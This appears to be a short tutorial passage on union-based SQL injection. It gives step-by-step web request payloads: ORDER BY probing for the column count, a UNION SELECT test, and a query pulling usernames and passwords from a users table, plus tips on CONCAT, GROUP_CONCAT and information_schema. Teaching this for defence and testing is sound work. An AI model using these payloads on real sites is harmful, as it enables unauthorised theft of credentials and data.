Union-Based SQL Injection leverages the SQL UNION operator to combine the results of the original query with results from an attacker-controlled query. This allows direct extraction of data from other database tables.
The UNION operator requires both queries to have the same number of columns with compatible data types. Attackers first determine the column count, then inject a UNION SELECT to retrieve data from arbitrary tables.
Step-by-step Union attack:
// Original query (unknown to attacker)
SELECT name, price FROM products WHERE id=1
// Step 1: Determine column count using ORDER BY
GET /product?id=1 ORDER BY 1-- (works)
GET /product?id=1 ORDER BY 2-- (works)
GET /product?id=1 ORDER BY 3-- (error - only 2 columns!)
// Step 2: Find displayable columns
GET /product?id=1 UNION SELECT 'test1','test2'--
// Step 3: Extract data
GET /product?id=1 UNION SELECT username,password FROM users--
NULL for unknown data typesCONCAT(user,':',pass)GROUP_CONCAT() to extract multiple rowsinformation_schema to discover tables